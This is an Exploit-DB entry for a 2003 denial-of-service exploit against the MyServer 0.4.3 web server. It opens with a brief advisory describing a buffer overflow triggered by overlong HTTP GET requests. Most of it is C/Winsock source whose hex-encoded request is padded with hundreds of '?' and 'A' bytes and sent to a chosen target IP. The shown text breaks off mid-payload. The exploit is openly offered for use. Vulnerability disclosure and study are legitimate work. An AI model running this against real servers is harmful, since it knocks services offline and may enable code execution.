Exploit-DB #22700
Description: MyServer 0.4.3 - GET Argument Buffer Overflow
Type: dos
Platform: linux
Date: 2003-09-08
Author: badpack3t

Exploit:
// source: https://www.securityfocus.com/bid/7770/info

myServer has been reported prone to a remote buffer overflow vulnerability. The vulnerability exists when the web server attempts to process HTTP GET requests of excessive length.

Although unconfirmed, this vulnerability may be exploited to execute attacker-supplied code with the privileges of the vulnerable web server. 

/* MyServer 0.4.3 DoS 
 * vendor:
 * http://myserverweb.sourceforge.net
 *
 * Written and found by badpack3t <badpack3t@security-protocols.com>
 * For SP Research Labs
 * 09/08/2003
 * 
 * www.security-protocols.com
 *
 * usage: 
 * sp-myserv <targetip> [targetport] (default is 80)
 */

#include "stdafx.h"
#include <winsock2.h>
#include <stdio.h>

#pragma comment(lib, "ws2_32.lib")

char exploit[] = 

/* entire request */
"\x47\x45\x54\x20\x2f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
"\x3f\x3f\x3f\x3f\x3f\x2e\x48\x54\x4d\x4c\x3f\x74\x65\x73\x74\x76"
"\x61\x72\x69\x61\x62\x6c\x65\x3d\x26\x6e\x65\x78\x74\x74\x65\x73"
"\x74\x76\x61\x72\x69\x61\x62\x6c\x65\x3d\x67\x69\x66\x20\x48\x54"
"\x54\x50\x2f\x31\x2e\x31\x0a\x52\x65\x66\x65\x72\x65\x72\x3a\x20"
"\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x6f\x63\x61\x6c\x68\x6f\x73\x74"
"\x2f\x62\x6f\x62\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70"
"\x65\x3a\x20\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78"
"\x2d\x77\x77\x77\x2d\x66\x6f\x72\x6d\x2d\x75\x72\x6c\x65\x6e\x63"
"\x6f\x64\x65\x64\x0a\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x3a"
"\x20\x4b\x65\x65\x70\x2d\x41\x6c\x69\x76\x65\x0a\x43\x6f\x6f\x6b"
"\x69\x65\x3a\x20\x56\x41\x52\x49\x41\x42\x4c\x45\x3d\x53\x45\x43"
"\x55\x52\x49\x54\x59\x2d\x50\x52\x4f\x54\x4f\x43\x4f\x4c\x53\x3b"
"\x20\x70\x61\x74\x68\x3d\x2f\x0a\x55\x73\x65\x72\x2d\x41\x67\x65"
"\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x37\x36"
"\x20\x5b\x65\x6e\x5d\x20\x28\x58\x31\x31\x3b\x20\x55\x3b\x20\x4c"
"\x69\x6e\x75\x78\x20\x32\x2e\x34\x2e\x32\x2d\x32\x20\x69\x36\x38"
"\x36\x29\x0a\x56\x61\x72\x69\x61\x62\x6c\x65\x3a\x20\x72\x65\x73"
"\x75\x6c\x74\x0a\x48\x6f\x73\x74\x3a\x20\x6c\x6f\x63\x61\x6c\x68"
"\x6f\x73\x74\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x6c\x65\x6e\x67"
"\x74\x68\x3a\x20\x20\x20\x20\x20\x35\x31\x33\x0a\x41\x63\x63\x65"
"\x70\x74\x3a\x20\x69\x6d\x61\x67\x65\x2f\x67\x69\x66\x2c\x20\x69"
"\x6d\x61\x67\x65\x2f\x78\x2d\x78\x62\x69\x74\x6d\x61\x70\x2c\x20"
"\x69\x6d\x61\x67\x65\x2f\x6a\x70\x65\x67\x2c\x20\x69\x6d\x61\x67"
"\x65\x2f\x70\x6a\x70\x65\x67\x2c\x20\x69\x6d\x61\x67\x65\x2f\x70"
"\x6e\x67\x0a\x41\x63\x63\x65\x70\x74\x2d\x45\x6e\x63\x6f\x64\x69"
"\x6e\x67\x3a\x20\x67\x7a\x69\x70\x0a\x41\x63\x63\x65\x70\x74\x2d"
"\x4c\x61\x6e\x67\x75\x61\x67\x65\x3a\x20\x65\x6e\x0a\x41\x63\x63"
"\x65\x70\x74\x2d\x43\x68\x61\x72\x73\x65\x74\x3a\x20\x69\x73\x6f"
"\x2d\x38\x38\x35\x39\x2d\x31\x2c\x2a\x2c\x75\x74\x66\x2d\x38\x0a"
"\x0a\x0a\x77\x68\x61\x74\x79\x6f\x75\x74\x79\x70\x65\x64\x3d\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x4